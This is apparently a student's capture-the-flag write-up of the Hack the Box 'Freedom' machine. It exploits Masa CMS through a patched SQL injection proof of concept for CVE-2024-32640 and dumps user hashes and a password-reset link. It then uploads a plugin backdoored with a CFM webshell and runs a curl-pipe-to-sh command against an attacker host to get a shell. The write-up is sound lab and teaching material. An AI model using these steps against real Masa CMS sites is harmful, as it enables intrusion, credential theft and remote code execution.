This year my university and I took on the Hack the Box University CTF 2024 again. I had less time than previous year but still we managed to get in the top 40 with only about 4 active students :P. I solved the Freedom full-pwn which was the hardest rated of the three full-pwn challenges. I solved it using an unintentional path. However, I still learned a few cool things during this path which is the reason for this write-up.

Scanning and recon

Since it is a full pwn challenge we only have the IP of the machine. We will use Nmap to scan the IP for running services.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
# Nmap 7.94SVN scan initiated Tue Dec 17 15:06:23 2024 as: nmap -sCV -T4 --min-rate 10000 -v -oA nmap/tcp_default 10.129.194.204
Nmap scan report for 10.129.194.204
Host is up (0.019s latency).
Not shown: 988 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
80/tcp open http Apache httpd 2.4.52 ((Ubuntu))
|_http-server-header: Apache/2.4.52 (Ubuntu)
| http-robots.txt: 6 disallowed entries
|_/admin/ /core/ /modules/ /config/ /themes/ /plugins/
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2024-12-17 14:06:44Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: freedom.htb0., Site: Default-First-Site-Name)
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: freedom.htb0., Site: Default-First-Site-Name)
3269/tcp open tcpwrapped
Service Info: Host: DC1; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-time:
| date: 2024-12-17T14:06:50
|_ start_date: N/A
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled and required

Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Tue Dec 17 15:07:26 2024 -- 1 IP address (1 host up) scanned in 63.16 seconds

Nmap shows that the target is a domain controller with the domain freedom.htb. It has the default ports open like SMB, LDAP and Kerberos. However, there’s also a webserver running on port 80 which contains a robots.txt:

1
2
3
4
5
6
7
8
User-agent: *
Crawl-Delay: 5
Disallow: /admin/
Disallow: /core/
Disallow: /modules/
Disallow: /config/
Disallow: /themes/
Disallow: /plugins/

Foothold Masa CMS

Entering http://foothold.htb/admin shows that Masa CMS is running:

The default credentials admin/admin do not work to login. Let’s see what vulnerabilities are out there.

It seems that there is a recent SQL injection vulnerability, CVE-2024-32640 with a public proof of concept on github.

We are not sure which version of Masa CMS is running here, but we can still try to exploit the vulnerability.

1
python3 CVE-2024-32640.py -u http://freedom.htb 

The PoC says it’s not vulnerable. I’ll be honest, I accepted the fact that the script told me that it wasn’t vulnerable since we don’t know which version is running. Then I came across another vulnerability, which is an authentication bypass from 2022 (CVE-2022-47002).

Authentication bypass vulnerability

There is a public Nuclei template which checks the following:

1
2
3
4
5
6
7
8
9
10
11
12
http:
- raw:
- |
GET / HTTP/1.1
Host: {{Hostname}}
- |
GET /index.cfm/_api/json/v1/{{siteid}}/content/?fields=lastupdatebyid HTTP/1.1
Host: {{Hostname}}
- |
GET /admin/?muraAction=cEditProfile.edit HTTP/1.1
Host: {{Hostname}}
Cookie: userid={{uuid}}; userhash=

The authentication bypass is a logical flaw in the remember me function. If the userhash cookie is specified with an empty value and a valid userid, the authentication will be bypassed. Getting a valid userid is not a big problem since the API has a public endpoint which contains one:

1
http://freedom.htb/index.cfm/_api/json/v1/default/content/?fields=lastupdatebyid

This shows the UID lastupdatebyid "75296552-E0A8-4539-B1A46C806D767072"
We sent the following request to /admin/?muraAction=cEditProfile.edit:

1
2
3
GET /admin/?muraAction=cEditProfile.edit HTTP/1.1
Host: freedom.htb
Cookie: userid=75296552-E0A8-4539-B1A46C806D767072; userhash=

The server responds with a redirect to the login page..

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
HTTP/1.1 302 
Date: Tue, 17 Dec 2024 14:21:39 GMT
Server: Apache/2.4.52 (Ubuntu)
Strict-Transport-Security: max-age=1200
Generator: Masa CMS 7.4.5
location: ./?muraAction=cLogin.main&returnURL=.%2F%3F%26muraAction%3DcEditProfile.edit&compactDisplay=false
Content-Type: text/html;charset=UTF-8
Content-Language: en-US
Content-Length: 98

<html>
<head>
<title>Document Moved</title>
</head>
<body>
<h1>Object Moved</h1>
</body>
</html>

Too bad.. this also was not the vulnerability.

Patching the PoC for CVE-2024-32640

From the CVE-2022-47002 PoC we see that in order to get the valid UID the path begins with /index.cfm/_api/. However, the PoC for SQLI does not contain /index.cfm/:

1
endpoint = "/_api/json/v1/default/?method=processAsyncObject&object=displayregion&contenthistid=x%5c&previewID=x"

Let’s add the right path and run it again:

1
endpoint = "/index.cfm/_api/json/v1/default/?method=processAsyncObject&object=displayregion&contenthistid=x%5c&previewID=x"


Now the exploit works and we can get SQLI. Some things that we are looking for in the database are passwords (hashes) and sensitive info. The tables containing the users is tusers, which we can dump in the following way:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
python3 CVE-2024-32640.py -u http://freedom.htb -g "-DdbMasaCMS" "-Ttusers" "-Cusername,password" "--dump"

Table: tusers
[7 entries]
+---------------+--------------------------------------------------------------+
| username | password |
+---------------+--------------------------------------------------------------+
| writer5 | $2a$10$AkLq72X91r4vNDulSohflOU82RjVF8hALkdVTWWtaY.LDHCkZW5je |
| writer | $2a$10$nnS3OmT6r7BvVcryxh5fi.vdUkdSN1eoy/0DCahhTshH.UklejP/m |
| <blank_value> | $2a$10$aZ5/fqIK8bI2SHMuIwRUsOsDT/XFH59RVhCPoGixB4hHw/pl0Xw8e |
| admin | $2a$10$xHRN1/9qFGtMAPkwQeMLYes2ysff2K970UTQDneDwJBRqUP7X8g3q |
| writer4 | $2a$10$yBgldtETEe3EYXWUgMQfyOGnQsBLLgKwHUo2d26cwFWftQ.MCsEzq |
| writer2 | $2a$10$yBgldtETEe3EYXWUgMQfyOc685W.rhBZCG.gnri8HrQsQ13ELDZpC |
| writer3 | $2a$10$yBgldtETEe3EYXWUgMQfyOGnQsBLLgKwHUo2d26cwFWftQ.MCsEzq |
+---------------+--------------------------------------------------------------+

We copy the contents to hashes.txt and crack the bcrypt hashes using hashcat.

1
hashcat hashes.txt /usr/share/wordlists/rockyou.txt -m 3200

Hashcat was not able to crack any hashes.

There is a table in Masa CMS that contains redirect links. I came across this by accident, but if we reset the password for admin@freedom.htb and check this table, it generates the following link:

1
2
3
4
5
6
7
python3 CVE-2024-32640.py -u http://freedom.htb -g "-DdbMasaCMS" "-Ttredirects" "-Curl" "--dump"

+--------------------------------------------------------------------------------------------------------------------------------------+
| url |
+--------------------------------------------------------------------------------------------------------------------------------------+
| http://freedom.htb?display=editProfile&returnID=7858D870-A2BD-4C01-BDC3559A5E01C97D&returnUserID=75296552-E0A8-4539-B1A46C806D767072 |
+--------------------------------------------------------------------------------------------------------------------------------------+

If we enter the URL in the browser, we are logged in as admin:

Initial access with CFM files

The following blog describes the SQL injection vulnerability in detail: https://projectdiscovery.io/blog/hacking-apple-with-sql-injection. The interesting thing about this blog is that they also manage a few steps to get RCE:

1
2
3
4
1. Reset an Admin user's password.
2. Obtain the reset token and user ID via SQL injection.
3. Use the password reset endpoint with exfiltrated info.
4. Utilize plugin installation to upload CFM files.

We already did the first 3 steps. But they say in order to get RCE we have to utilize the plugin installation functionality to upload a CFM file. So let’s go ahead and try to upload a malicious .cfm file:

I found this CFM webshell: https://github.com/xl7dev/WebShell/blob/master/Cfm/cfexec.cfm, which uses <cfexecute> to execute a system command. But if we upload the CFM file, the application complains about the file type:

Modifying existing Masa CMS plugin with backdoor

Another option is to upload a .zip file which contain the .CFM files, which is allowed. I found this Masa CMS plugin for Google Maps: https://github.com/MasaCMS/MasaGoogleSitemaps. I cloned the repo and replaced the contents of /plugin/default.cfm with the webshells content.


Now I zipped the files:

1
zip rce.zip -r MasaGoogleSitemaps

And uploaded the plugin:

This resulted in the following error:

However, after entering update once again in the edit tab of the plugins without any modifications, everything was fine. Now to get to the webshell, we need to enter the following URL:

1
http://freedom.htb/plugins/MasaGoogleSitemaps/index.cfm


The form is there! Let’s try whoami as command since it is a Windows Domain Controller:

It worked! But wait.. the username is root?!

Getting a shell

Let’s see what is going on here by getting a shell. Most of the time I generate a .html file containing all kinds of shells which I host on a Python webserver. I use a payload with curl that pipes to sh or bash. I use pwncat to catch the shell and stabilize it.

The payload is:

1
bash -c 'curl 10.10.14.3|sh'

Okay, we are really root.

Getting user and root

Once I saw that the C drive was mounted I knew this was a unintentional solve since it gives us access to the whole file system including the flags. But hey, who cares, 1975 points more :P